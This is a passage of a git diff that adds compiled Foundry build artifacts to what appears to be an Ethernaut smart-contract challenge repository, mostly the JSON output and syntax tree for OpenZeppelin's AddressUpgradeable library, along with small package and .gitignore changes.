contracts/out/Ethernaut.sol/IStatistics.json create mode 100644 contracts/out/Ethernaut.t.sol/TestEthernaut.json create mode 100644 contracts/out/Fallback.sol/Fallback.json create mode 100644 contracts/out/Fallback.t.sol/TestFallback.json create mode 100644 contracts/out/FallbackFactory.sol/FallbackFactory.json create mode 100644 contracts/out/Fallout.sol/Fallout.json create mode 100644 contracts/out/Fallout.t.sol/Fallout.json create mode 100644 contracts/out/Fallout.t.sol/TestFallout.json create mode 100644 contracts/out/FalloutFactory.sol/FalloutFactory.json create mode 100644 contracts/out/Force.sol/Force.json create mode 100644 contracts/out/Force.t.sol/TestForce.json create mode 100644 contracts/out/ForceAttack.sol/ForceAttack.json create mode 100644 contracts/out/ForceFactory.sol/ForceFactory.json create mode 100644 contracts/out/GatekeeperOne.sol/GatekeeperOne.json create mode 100644 contracts/out/GatekeeperOne.t.sol/TestGatekeeperOne.json create mode 100644 contracts/out/GatekeeperOneAttack.sol/GatekeeperOneAttack.json create mode 100644 contracts/out/GatekeeperOneFactory.sol/GatekeeperOneFactory.json create mode 100644 contracts/out/GatekeeperThree.sol/GatekeeperThree.json create mode 100644 contracts/out/GatekeeperThree.sol/SimpleTrick.json create mode 100644 contracts/out/GatekeeperThree.t.sol/TestGatekeeperThree.json create mode 100644 contracts/out/GatekeeperThreeAttack.sol/GatekeeperThreeAttack.json create mode 100644 contracts/out/GatekeeperThreeFactory.sol/GatekeeperThreeFactory.json create mode 100644 contracts/out/GatekeeperTwo.sol/GatekeeperTwo.json create mode 100644 contracts/out/GatekeeperTwo.t.sol/TestGatekeeperTwo.json create mode 100644 contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoAttack.json create mode 100644 contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoInterface.json create mode 100644 contracts/out/GatekeeperTwoFactory.sol/GatekeeperTwoFactory.json create mode 100644 contracts/out/GoodSamaritan.sol/Coin.json create mode 100644 contracts/out/GoodSamaritan.sol/GoodSamaritan.json create mode 100644 contracts/out/GoodSamaritan.sol/INotifyable.json create mode 100644 contracts/out/GoodSamaritan.sol/Wallet.json create mode 100644 contracts/out/GoodSamaritan.t.sol/TestGoodSamaritan.json create mode 100644 contracts/out/GoodSamaritanAttack.sol/GoodSamaritanAttack.json create mode 100644 contracts/out/GoodSamaritanFactory.sol/GoodSamaritanFactory.json create mode 100644 contracts/out/IBeacon.sol/IBeacon.json create mode 100644 contracts/out/IERC165.sol/IERC165.json create mode 100644 contracts/out/IERC20.sol/IERC20.json create mode 100644 contracts/out/IERC20Metadata.sol/IERC20Metadata.json create mode 100644 contracts/out/IERC721.sol/IERC721.json create mode 100644 contracts/out/IERC721.sol/IERC721Enumerable.json create mode 100644 contracts/out/IERC721.sol/IERC721Metadata.json create mode 100644 contracts/out/IERC721.sol/IERC721TokenReceiver.json create mode 100644 contracts/out/IMulticall3.sol/IMulticall3.json create mode 100644 contracts/out/Initializable.sol/Initializable.json create mode 100644 contracts/out/Instance.sol/Instance.json create mode 100644 contracts/out/Instance.t.sol/TestInstance.json create mode 100644 contracts/out/InstanceFactory.sol/InstanceFactory.json create mode 100644 contracts/out/King.sol/King.json create mode 100644 contracts/out/King.t.sol/TestKing.json create mode 100644 contracts/out/KingAttack.sol/KingAttack.json create mode 100644 contracts/out/KingFactory.sol/KingFactory.json create mode 100644 contracts/out/Leaderboard.t.sol/TestLeaderboard.json create mode 100644 contracts/out/Level-05.sol/Level.json create mode 100644 contracts/out/Level-06.sol/Level.json create mode 100644 contracts/out/Level-08.sol/Level.json create mode 100644 contracts/out/Level.sol/Level.json create mode 100644 contracts/out/Level.t.sol/TestLevel.json create mode 100644 contracts/out/LocalFactory.sol/Factory.json create mode 100644 contracts/out/MagicNum.sol/MagicNum.json create mode 100644 contracts/out/MagicNum.t.sol/TestMagicNum.json create mode 100644 contracts/out/MagicNumBadSolver.sol/MagicNumBadSolver.json create mode 100644 contracts/out/MagicNumFactory.sol/MagicNumFactory.json create mode 100644 contracts/out/MagicNumFactory.sol/Solver.json create mode 100644 contracts/out/MagicNumSolver.sol/MagicNumSolver.json create mode 100644 contracts/out/Manufactured.sol/Manufactured.json create mode 100644 contracts/out/MockERC20.sol/MockERC20.json create mode 100644 contracts/out/MockERC721.sol/IERC721TokenReceiver.json create mode 100644 contracts/out/MockERC721.sol/MockERC721.json create mode 100644 contracts/out/Motorbike.sol/Engine.json create mode 100644 contracts/out/Motorbike.sol/Motorbike.json create mode 100644 contracts/out/Motorbike.t.sol/Engine.json create mode 100644 contracts/out/Motorbike.t.sol/TestMotorbike.json create mode 100644 contracts/out/MotorbikeAttack.sol/Exploit.json create mode 100644 contracts/out/MotorbikeAttack.sol/MotorbikeAttack.json create mode 100644 contracts/out/MotorbikeFactory.sol/MotorbikeFactory.json create mode 100644 contracts/out/NaughtCoin.sol/NaughtCoin.json create mode 100644 contracts/out/NaughtCoin.t.sol/TestNaughtCoin.json create mode 100644 contracts/out/NaughtCoinAttack.sol/NaughtCoinAttack.json create mode 100644 contracts/out/NaughtCoinFactory.sol/NaughtCoinFactory.json create mode 100644 contracts/out/Ownable-05.sol/Ownable.json create mode 100644 contracts/out/Player.t.sol/TestPlayer.json create mode 100644 contracts/out/Preservation.sol/LibraryContract.json create mode 100644 contracts/out/Preservation.sol/Preservation.json create mode 100644 contracts/out/Preservation.t.sol/TestPreservation.json create mode 100644 contracts/out/PreservationAttack.sol/PreservationAttack.json create mode 100644 contracts/out/PreservationFactory.sol/PreservationFactory.json create mode 100644 contracts/out/Privacy.sol/Privacy.json create mode 100644 contracts/out/Privacy.t.sol/TestPrivacy.json create mode 100644 contracts/out/PrivacyFactory.sol/PrivacyFactory.json create mode 100644 contracts/out/Proxy.sol/Proxy.json create mode 100644 contracts/out/ProxyAdmin.sol/ProxyAdmin.json create mode 100644 contracts/out/ProxyStats.sol/ProxyStats.json create mode 100644 contracts/out/PuzzleWallet.sol/PuzzleProxy.json create mode 100644 contracts/out/PuzzleWallet.sol/PuzzleWallet.json create mode 100644 contracts/out/PuzzleWallet.t.sol/TestPuzzleWallet.json create mode 100644 contracts/out/PuzzleWalletFactory.sol/PuzzleWalletFactory.json create mode 100644 contracts/out/Recovery.sol/Recovery.json create mode 100644 contracts/out/Recovery.sol/SimpleToken.json create mode 100644 contracts/out/Recovery.t.sol/TestRecovery.json create mode 100644 contracts/out/RecoveryFactory.sol/RecoveryFactory.json create mode 100644 contracts/out/RecoverySimpleToken.sol/RecoverySimpleToken.json create mode 100644 contracts/out/Reentrance.sol/Reentrance.json create mode 100644 contracts/out/Reentrance.t.sol/TestReentrance.json create mode 100644 contracts/out/ReentranceAttack.sol/Reentrance.json create mode 100644 contracts/out/ReentranceAttack.sol/ReentranceAttack.json create mode 100644 contracts/out/ReentranceFactory.sol/ReentranceFactory.json create mode 100644 contracts/out/SafeMath.sol/SafeMath.json create mode 100644 contracts/out/Shop.sol/Buyer.json create mode 100644 contracts/out/Shop.sol/Shop.json create mode 100644 contracts/out/Shop.t.sol/TestShop.json create mode 100644 contracts/out/ShopAttack.sol/ShopAttack.json create mode 100644 contracts/out/ShopFactory.sol/ShopFactory.json create mode 100644 contracts/out/Statistics.sol/Statistics.json create mode 100644 contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json create mode 100644 contracts/out/StdAssertions.sol/StdAssertions.json create mode 100644 contracts/out/StdChains.sol/StdChains.json create mode 100644 contracts/out/StdCheats.sol/StdCheats.json create mode 100644 contracts/out/StdCheats.sol/StdCheatsSafe.json create mode 100644 contracts/out/StdError.sol/stdError.json create mode 100644 contracts/out/StdInvariant.sol/StdInvariant.json create mode 100644 contracts/out/StdJson.sol/stdJson.json create mode 100644 contracts/out/StdMath.sol/stdMath.json create mode 100644 contracts/out/StdStorage.sol/stdStorage.json create mode 100644 contracts/out/StdStorage.sol/stdStorageSafe.json create mode 100644 contracts/out/StdStyle.sol/StdStyle.json create mode 100644 contracts/out/StdToml.sol/stdToml.json create mode 100644 contracts/out/StdUtils.sol/StdUtils.json create mode 100644 contracts/out/StorageSlot.sol/StorageSlot.json create mode 100644 contracts/out/Switch.sol/Switch.json create mode 100644 contracts/out/Switch.t.sol/TestSwitch.json create mode 100644 contracts/out/SwitchFactory.sol/SwitchFactory.json create mode 100644 contracts/out/Telephone.sol/Telephone.json create mode 100644 contracts/out/Telephone.t.sol/TestTelephone.json create mode 100644 contracts/out/TelephoneAttack.sol/TelephoneAttack.json create mode 100644 contracts/out/TelephoneFactory.sol/TelephoneFactory.json create mode 100644 contracts/out/Test.sol/Test.json create mode 100644 contracts/out/Token.sol/Token.json create mode 100644 contracts/out/Token.t.sol/TestToken.json create mode 100644 contracts/out/Token.t.sol/Token.json create mode 100644 contracts/out/TokenFactory.sol/TokenFactory.json create mode 100644 contracts/out/TransparentUpgradeableProxy.sol/TransparentUpgradeableProxy.json create mode 100644 contracts/out/UpgradeableProxy-08.sol/UpgradeableProxy.json create mode 100644 contracts/out/Utils.sol/Utils.json create mode 100644 contracts/out/Vault.sol/Vault.json create mode 100644 contracts/out/Vault.t.sol/TestVault.json create mode 100644 contracts/out/VaultAttack.sol/VaultAttack.json create mode 100644 contracts/out/VaultFactory.sol/VaultFactory.json create mode 100644 contracts/out/Vm.sol/Vm.json create mode 100644 contracts/out/Vm.sol/VmSafe.json create mode 100644 contracts/out/access/Ownable.sol/Ownable.json create mode 100644 contracts/out/console.sol/console.json create mode 100644 contracts/out/console2.sol/console2.json create mode 100644 contracts/out/contracts/access/Ownable.sol/Ownable.json create mode 100644 contracts/out/contracts/utils/Address.sol/Address.json create mode 100644 contracts/out/contracts/utils/Context.sol/Context.json create mode 100644 contracts/out/draft-IERC1822.sol/IERC1822Proxiable.json create mode 100644 contracts/out/safeconsole.sol/safeconsole.json create mode 100644 contracts/out/utils/Address.sol/Address.json create mode 100644 contracts/out/utils/Context.sol/Context.json create mode 100644 contracts/out/utils/Initializable.sol/Initializable.json diff --git a/client/package.json b/client/package.json index 38a5ccf4d..3d733e03a 100644 --- a/client/package.json +++ b/client/package.json @@ -10,7 +10,6 @@ "axios": "^1.2.4", "bad-words": "^3.0.4", "bootstrap": "^5.0.0", - "contracts": "0.1.0", "cross-env": "7.0.3", "devtools-detect": "^4.0.0", "dotenv": "^16.0.3", diff --git a/client/public/contracts b/client/public/contracts deleted file mode 120000 index 805746d1c..000000000 --- a/client/public/contracts +++ /dev/null @@ -1 +0,0 @@ -../../contracts/src/ \ No newline at end of file diff --git a/contracts/.gitignore b/contracts/.gitignore index 85198aaa5..ea12d23ba 100644 --- a/contracts/.gitignore +++ b/contracts/.gitignore @@ -1,6 +1,5 @@ # Compiler files cache/ -out/ # Ignores development broadcast logs !/broadcast diff --git a/contracts/out/AddressUpgradeable.sol/AddressUpgradeable.json b/contracts/out/AddressUpgradeable.sol/AddressUpgradeable.json new file mode 100644 index 000000000..95352eeba --- /dev/null +++ b/contracts/out/AddressUpgradeable.sol/AddressUpgradeable.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212202d1f57ae3b1b2603cc7cbf5f17440b76679c37caed26c7171e22b382871053f764736f6c63430008180033","sourceMap":"194:9180:37:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;194:9180:37;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212202d1f57ae3b1b2603cc7cbf5f17440b76679c37caed26c7171e22b382871053f764736f6c63430008180033","sourceMap":"194:9180:37:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Collection of functions related to the address type\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":\"AddressUpgradeable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":"AddressUpgradeable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol","id":48841,"exportedSymbols":{"AddressUpgradeable":[48840]},"nodeType":"SourceUnit","src":"101:9274:37","nodes":[{"id":48512,"nodeType":"PragmaDirective","src":"101:23:37","nodes":[],"literals":["solidity","^","0.8",".1"]},{"id":48840,"nodeType":"ContractDefinition","src":"194:9180:37","nodes":[{"id":48528,"nodeType":"FunctionDefinition","src":"1423:320:37","nodes":[],"body":{"id":48527,"nodeType":"Block","src":"1489:254:37","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48525,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"id":48521,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48516,"src":"1713:7:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48522,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1721:4:37","memberName":"code","nodeType":"MemberAccess","src":"1713:12:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":48523,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1726:6:37","memberName":"length","nodeType":"MemberAccess","src":"1713:19:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":48524,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1735:1:37","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1713:23:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":48520,"id":48526,"nodeType":"Return","src":"1706:30:37"}]},"documentation":{"id":48514,"nodeType":"StructuredDocumentation","src":"227:1191:37","text":" @dev Returns true if `account` is a contract.\n [IMPORTANT]\n ====\n It is unsafe to assume that an address for which this function returns\n false is an externally-owned account (EOA) and not a contract.\n Among others, `isContract` will return false for the following\n types of addresses:\n - an externally-owned account\n - a contract in construction\n - an address where a contract will be created\n - an address where a contract lived, but was destroyed\n Furthermore, `isContract` will also return true if the target contract within\n the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n which only has an effect at the end of a transaction.\n ====\n [IMPORTANT]\n ====\n You shouldn't rely on `isContract` to protect against flash loan attacks!\n Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n constructor.\n ===="},"implemented":true,"kind":"function","modifiers":[],"name":"isContract","nameLocation":"1432:10:37","parameters":{"id":48517,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48516,"mutability":"mutable","name":"account","nameLocation":"1451:7:37","nodeType":"VariableDeclaration","scope":48528,"src":"1443:15:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48515,"name":"address","nodeType":"ElementaryTypeName","src":"1443:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1442:17:37"},"returnParameters":{"id":48520,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48519,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48528,"src":"1483:4:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48518,"name":"bool","nodeType":"ElementaryTypeName","src":"1483:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1482:6:37"},"scope":48840,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48562,"nodeType":"FunctionDefinition","src":"2658:312:37","nodes":[],"body":{"id":48561,"nodeType":"Block","src":"2729:241:37","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48543,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":48539,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2755:4:37","typeDescriptions":{"typeIdentifier":"t_contract$_AddressUpgradeable_$48840","typeString":"library AddressUpgradeable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AddressUpgradeable_$48840","typeString":"library AddressUpgradeable"}],"id":48538,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2747:7:37","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48537,"name":"address","nodeType":"ElementaryTypeName","src":"2747:7:37","typeDescriptions":{}}},"id":48540,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2747:13:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48541,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2761:7:37","memberName":"balance","nodeType":"MemberAccess","src":"2747:21:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":48542,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48533,"src":"2772:6:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2747:31:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a20696e73756666696369656e742062616c616e6365","id":48544,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2780:31:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9","typeString":"literal_string \"Address: insufficient balance\""},"value":"Address: insufficient balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9","typeString":"literal_string \"Address: insufficient balance\""}],"id":48536,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2739:7:37","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48545,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2739:73:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48546,"nodeType":"ExpressionStatement","src":"2739:73:37"},{"assignments":[48548,null],"declarations":[{"constant":false,"id":48548,"mutability":"mutable","name":"success","nameLocation":"2829:7:37","nodeType":"VariableDeclaration","scope":48561,"src":"2824:12:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48547,"name":"bool","nodeType":"ElementaryTypeName","src":"2824:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":48555,"initialValue":{"arguments":[{"hexValue":"","id":48553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2872:2:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":48549,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48531,"src":"2842:9:37","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":48550,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2852:4:37","memberName":"call","nodeType":"MemberAccess","src":"2842:14:37","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48552,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":48551,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48533,"src":"2864:6:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"2842:29:37","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48554,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2842:33:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2823:52:37"},{"expression":{"arguments":[{"id":48557,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48548,"src":"2893:7:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564","id":48558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2902:60:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae","typeString":"literal_string \"Address: unable to send value, recipient may have reverted\""},"value":"Address: unable to send value, recipient may have reverted"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae","typeString":"literal_string \"Address: unable to send value, recipient may have reverted\""}],"id":48556,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2885:7:37","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48559,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2885:78:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48560,"nodeType":"ExpressionStatement","src":"2885:78:37"}]},"documentation":{"id":48529,"nodeType":"StructuredDocumentation","src":"1749:904:37","text":" @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n `recipient`, forwarding all available gas and reverting on errors.\n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n of certain opcodes, possibly making contracts go over the 2300 gas limit\n imposed by `transfer`, making them unable to receive funds via\n `transfer`. {sendValue} removes this limitation.\n https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n IMPORTANT: because control is transferred to `recipient`, care must be\n taken to not create reentrancy vulnerabilities. Consider using\n {ReentrancyGuard} or the\n https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]."},"implemented":true,"kind":"function","modifiers":[],"name":"sendValue","nameLocation":"2667:9:37","parameters":{"id":48534,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48531,"mutability":"mutable","name":"recipient","nameLocation":"2693:9:37","nodeType":"VariableDeclaration","scope":48562,"src":"2677:25:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":48530,"name":"address","nodeType":"ElementaryTypeName","src":"2677:15:37","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":48533,"mutability":"mutable","name":"amount","nameLocation":"2712:6:37","nodeType":"VariableDeclaration","scope":48562,"src":"2704:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":48532,"name":"uint256","nodeType":"ElementaryTypeName","src":"2704:7:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2676:43:37"},"returnParameters":{"id":48535,"nodeType":"ParameterList","parameters":[],"src":"2729:0:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48580,"nodeType":"FunctionDefinition","src":"3712:185:37","nodes":[],"body":{"id":48579,"nodeType":"Block","src":"3801:96:37","nodes":[],"statements":[{"expression":{"arguments":[{"id":48573,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48565,"src":"3840:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48574,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48567,"src":"3848:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"30","id":48575,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3854:1:37","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"hexValue":"416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564","id":48576,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3857:32:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df","typeString":"literal_string \"Address: low-level call failed\""},"value":"Address: low-level call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 